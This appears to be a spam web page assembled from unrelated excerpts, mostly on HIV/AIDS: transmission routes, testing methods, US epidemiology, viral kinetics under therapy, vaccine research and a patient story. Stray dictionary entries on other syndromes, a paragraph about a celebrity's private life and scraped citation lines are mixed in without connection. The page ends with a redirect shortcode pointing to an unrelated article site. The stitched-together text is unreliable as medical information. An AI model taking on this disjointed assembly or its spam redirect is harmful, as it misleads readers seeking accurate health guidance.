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HIV stands for human immunodeficiency virus. It weakens a person’s immune system by destroying important cells that fight disease and infection. No effective cure exists for HIV. But with proper medical care, HIV can be controlled. Some groups of people in the United States are more likely to get HIV than others because of many factors, including their sex partners, their risk behaviors, and where they live. This section will give you basic information about HIV, such as how it’s transmitted, how you can prevent it, and how to get tested for HIV.

​​“Despite multiple risk factors for HIV acquisition perception of risk was low in over 50% of adolescents and young women from Malawi at highest risk, documenting a major gap requiring mechanistic study.”–Dr. William Blattner, JAIDS Co-Editor-in-Chief

Hungarian Szerzett immunhiány syndromák, AIDS, szerzett immunhiány szindróma k.m.n., Szerzett immunhiány szindróma, Szerzett immunhiány szindróma, nem meghatározott, Autoimmun hiány-syndroma, szerzett immunhiányos szindróma

Jump up ^ Stumptner-Cuvelette P, Morchoisne S, Dugast M, Le Gall S, Raposo G, Schwartz O, Benaroch P (October 2001). “HIV-1 Nef impairs MHC class II antigen presentation and surface expression”. Proceedings of the National Academy of Sciences of the United States of America. 98 (21): 12144–9. Bibcode:2001PNAS…9812144S. doi:10.1073/pnas.221256498. PMC 59782 . PMID 11593029.

If screening test results are positive, they are confirmed by a more accurate, specific tests such as the Western blot. The Western blot test is more difficult to do than screening tests but is more accurate.

In the past, Sheen has admitted to frequent visits to prostitutes at various times in his life. In July 1995, he testified in the tax evasion trial of “Hollywood madam” Heidi Fleiss that he had spent $53,000 in one 15-month period on “sexual services.”

Jump up ^ Nachega, JB; Mills, EJ; Schechter, M (January 2010). “Antiretroviral therapy adherence and retention in care in middle-income and low-income countries: current status of knowledge and research priorities”. Current Opinion in HIV and AIDS. 5 (1): 70–7. doi:10.1097/COH.0b013e328333ad61. PMID 20046150.

Ehlers-Danlos syndrome; Ehlers-Danlos diseases I-X hereditary connective tissue disorder characterized by collagen abnormality, marked generalized skin and blood vessel laxity, and joint hypermobility; skin is readily traumatized and heals slowly; see syndrome, hypermobility

[Guideline] Marrazzo JM, del Rio C, Holtgrave DR, et al, for the International Antiviral Society-USA Panel. HIV prevention in clinical care settings: 2014 recommendations of the International Antiviral Society-USA Panel. JAMA. 2014 Jul 23-30. 312(4):390-409. [Medline]. [Full Text].

The number of new infections worldwide continues to rise, particularly in women, and effective drug treatments have not yet reached the vast majority of infected individuals in resource-limited countries.[13]In addition, patients require high adherence to the therapy to achieve viral suppression and prevent the development of a drug-resistant virus. Modern regimes are less onerous than older ones. They are simpler and involve fewer tablets, whereas it used to be necessary to take 16 to 20 tablets a day.

B19 virus a species belonging to the genus Erythrovirus that binds to the erythrocyte P blood group antigen and is the cause of erythema infectiosum. In patients with hemolytic anemia or sickle cell disease it causes aplastic crisis; it can also cause acute arthritis. Fetal infection can cause hydrops fetalis and spontaneous abortion or death in utero. Persistent infection in immunocompromised patients can lead to chronic bone marrow failure. Called also human parvovirus B19.

Exposure to contaminated blood. Risk of HIV transmission among intravenous drug users increases with the frequency and duration of intravenous use, frequency of needle sharing, number of people sharing a needle, and the rate of HIV infection in the local population. In 2006, about 19% of men with AIDS and 25% of women with AIDS contracted the disease through sharing needles during intravenous drug injection. With the introduction of new blood product screening in the mid-1980s, HIV transmission through blood transfusions became rare in the developed world. However, contaminated blood is still a significant source of infection in the developing world.

Because of the great efficacy of the protease inhibitors, it is possible to learn much about the kinetics of HIV replication in vivo by measuring the decline in viremia after the initiation of protease inhibitor therapy. For the first 2 weeks after starting treatment there is an exponential fall in plasma virus levels with a half-life of viral decay of about 2 days (Fig. 11.26). This phase reflects the decay in virus production from cells that were actively infected at the start of drug treatment, and indicates that the half-life of productively infected cells is similarly about 2 days. The results also show that free virus is cleared from the circulation very rapidly, with a half-life of about 6 hours. After 2 weeks, levels of virus in plasma have dropped by more than 95%, representing an almost total loss of productively infected CD4 lymphocytes. After this time, the rate of decline of plasma virus levels is much slower, reflecting the very slow decay of virus production from cells that provide a longer-lived reservoir of infection, such as dendritic cells and tissue macrophages, and from latently infected memory CD4 T cells that have been activated. Very long-term sources of infection might be CD4 memory T cells that continue to carry integrated provirus, and virus stored as immune complexes on follicular dendritic cells. These very long-lasting reservoirs of infection might prove to be resistant to drug therapy for HIV.

According to the U.S. Centers for Disease Control and Prevention (CDC), there are 1.2 million people living with HIV (PLWH) in the United States, and approximately 40,000 people were diagnosed with HIV in 2015 alone. While the annual number of new diagnoses fell by 19% between 2005 and 2014, progress has been uneven. For example, gay and bisexual men made up an estimated 2% of the U.S. population in 2013 but 55% of all PLWH in the United States. If current diagnosis rates continue, 1 in 6 gay and bisexual men will be diagnosed with HIV in their lifetime. For Latino and Black men who have sex with men, the rates are in 1 in 4 and 1 in 2, respectively.

Scientists have also learned that if a city has needle exchange program it will have fewer people who use illegal drugs. Needle exchange programs are where people can come in and trade dirty needles for clean needles. This means that if they use drugs they will be more safe. But needle exchange programs do more than give people clean needles. They teach people about drugs. If people want to stop using drugs, they help them.

Jump up ^ Herek, GM; Capitanio, JP; Widaman, KF (March 2002). “HIV-related stigma and knowledge in the United States: prevalence and trends, 1991–1999”. American Journal of Public Health. 92 (3): 371–7. doi:10.2105/AJPH.92.3.371. PMC 1447082 . PMID 11867313.

Nievergelt-Pearlman syndrome rare autosomal-dominant bone disease causing lower-limb ‘rhomboidal’ tibia/fibula (crura rhomboidei), joint dysplasias, genu valgum, club foot, deformed toes; more common in males

HIV also infects nonlymphoid monocytic cells (eg, dendritic cells in the skin, macrophages, brain microglia) and cells of the brain, genital tract, heart, and kidneys, causing disease in the corresponding organ systems.

Jump up ^ White, AB; Mirjahangir, JF; Horvath, H; Anglemyer, A; Read, JS (Oct 4, 2014). “Antiretroviral interventions for preventing breast milk transmission of HIV”. The Cochrane Database of Systematic Reviews. 10: CD011323. doi:10.1002/14651858.CD011323. PMID 25280769.

Perinatal HIV Guidelines Working Group. “Public Health Service Task Force Recommendations for Use of Antiretroviral Drugs in Pregnant HIV-Infected Women for Maternal Health and Interventions to Reduce Perinatal HIV Transmission in the United States.” Apr. 29, 2009: 1-90. .

A new (fourth-generation) ELISA test can test for both HIV antibodies and the p24 antigen simultaneously. Thus, people can find out as early as 14 days after being exposed to HIV whether they are infected. However, because this test is expensive and requires special equipment, it is not available at every facility.

Fungi. The most common fungal disease associated with AIDS is Pneumocystis carinii pneumonia (PCP). PCP is the immediate cause of death in 15-20% of AIDS patients. It is an important measure of a patient’s prognosis. Other fungal infections include a yeast infection of the mouth (candidiasis or thrush) and cryptococcal meningitis.

Two types of HIV have been characterized: HIV-1 and HIV-2. HIV-1 is the virus that was initially discovered and termed both LAV (Lymphadenopathy Associated Virus) and HTLV-III (Human T cell Lymphotropic Virus III). HIV-1 is more virulent and more infective than HIV-2,[17] and is the cause of the majority of HIV infections globally. The lower infectivity of HIV-2 compared to HIV-1 implies that fewer of those exposed to HIV-2 will be infected per exposure. Due to its relatively poor capacity for transmission, HIV-2 is largely confined to West Africa.[18]

Sexual contact. People at greatest risk are those who do not practice safer sex by always using a condom, those who have multiple sexual partners, those who participate in anal intercourse, and those who have sex with a partner who has HIV infection and/or other sexually transmitted diseases (STDs). In the United States and Europe, most cases of sexually transmitted HIV infection result from homosexual contact, whereas in Africa, the disease is spread primarily through sexual intercourse among heterosexuals. Most people with AIDS in the United States are between 25 and 44 years of age.

Cultural factors (e.g., stigma, fear, discrimination, and homophobia) might contribute to longer diagnosis delays in some populations (12). Asians accounted for the highest percentage of persons living with undiagnosed HIV infection compared with all other race/ethnicity groups (13). Although blacks were more likely than whites to report testing in the past 12 months across all groups at risk, the median diagnosis delay was 1 year longer for blacks (median = 3.3 years) than for whites (median = 2.2 years). The testing results might reflect national efforts to improve access to testing among blacks, and black MSM in particular, through prevention programs and media campaigns. In 2007, CDC launched the Expanded Testing Initiative (https://www.cdc.gov/hiv/policies/eti.html) to facilitate HIV diagnosis and linkage to care among blacks and continues to support high levels of testing. CDC’s MSM Testing Initiative (https://www.researchgate.net/publication/287201580) scaled up HIV testing and linkage-to-care activities among black and Hispanic or Latino MSM in 11 cities. In addition, CDC implemented Testing Makes Us Stronger (https://www.cdc.gov/actagainstaids/campaigns/tmus), a public education campaign to increase testing among black MSM, from 2011 to 2015.

Note: BFJHS is diagnosed in the presence of two major criteria, or one major and two minor criteria, or four minor criteria (adapted from Grahame R, Bird HA, Child A, Dolan AL, Fowler-Edwards A, Ferrell W, Gurley-Green S, Keer R, Mansi E, Murray K, Smith E. The British Society Special Interest Group on Heritable Disorders of Connective Tissue Criteria for the Benign Joint Hypermobility Syndrome. “The Revised (Brighton 1998) Criteria for the Diagnosis of the BJHS”. Journal of Rheumatology 2000; 27:1777-1779).

Transgender people have also been hit especially hard by the epidemic despite comprising a similarly small percentage of the U.S. population. While better data is needed to understand the full impact of HIV on the transgender community, one international analysis found that transgender women in certain communities have 49 times the odds of living with HIV than the general population. Although HIV prevalence among transgender men is relatively low (0-3%) according to the CDC, some data suggest transgender men may still yet be at elevated risk for HIV acquisition.

Without treatment, human immunodeficiency virus (HIV) infection will usually result in acquired immune deficiency syndrome (AIDS). However, in Australia the HIV therapies introduced in the mid-1990s, which are available to all Australians living with HIV, have resulted in fewer AIDS related illnesses and deaths. Therefore, whilst a cure is yet to be found for HIV and it remains a lifelong infection, HIV in Australia is now considered a chronic manageable condition.

Although there is no perfect animal model for the development of HIV vaccines, one model system is based on simian immunodeficiency virus (SIV), which is closely related to HIV and infects macaques. SIV causes a similar disease to AIDS in Asian macaques such as the cynomolgus monkey, but does not cause disease in African cercopithecus monkeys such as the African green monkey, with which SIV has probably coexisted for up to a million years. Live attenuated SIV vaccines lacking the nef gene, and hybrid HIV-SIV viruses have been developed to test the principles of vaccination in primates, and both have proved successful in protecting primates against subsequent infection by fully virulent viruses. However, there are substantial difficulties to be overcome in the development of live attenuated HIV vaccines for use in at-risk populations, not least the worry of recombination between vaccine strains and wild-type viruses leading to reversion to a virulent phenotype. The alternative approach of DNA vaccination is being piloted in primate experiments, with some early signs of success.

In February 2016, Jordon suddenly found himself too weak and tired to attend the community-college classes he had enrolled in; he could hardly lift his head from his mother’s couch. He wasn’t accustomed to being sick and had tested negative for H.I.V. just five months before, so thinking he had a bad cold, he waited weeks before his family forced him to go to the emergency room at a hospital in his small town, where he was tested again. “The doctor said to me, ‘Your H.I.V. is so bad — how could you not know?’ ” Jordon recounted through tears. He ended up in intensive care for three weeks. “I honestly didn’t believe it.” He paused and then added quietly, “It was the worst day of my life.”

Editorial Note: CDC defines a case of AIDS as a disease, at least moderately predictive of a defect in cell-mediated immunity, occurring in a person with no known cause for diminished resistance to that disease. Such diseases include KS, PCP, and serious OOI.((S)) Diagnoses are considered to fit the case definition only if based on sufficiently reliable methods (generally histology or culture). However, this case definition may not include the full spectrum of AIDS manifestations, which may range from absence of symptoms (despite laboratory evidence of immune deficiency) to non-specific symptoms (e.g., fever, weight loss, generalized, persistent lymphadenopathy) (4) to specific diseases that are insufficiently predictive of cellular immunodeficiency to be included in incidence monitoring (e.g., tuberculosis, oral candidiasis, herpes zoster) to malignant neoplasms that cause, as well as result from, immunodeficiency((P)) (5). Conversely, some patients who are considered AIDS cases on the basis of diseases only moderately predictive of cellular immunodeficiency may not actually be immunodeficient and may not be part of the current epidemic. Absence of a reliable, inexpensive, widely available test for AIDS, however, may make the working case definition the best currently available for incidence monitoring. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]

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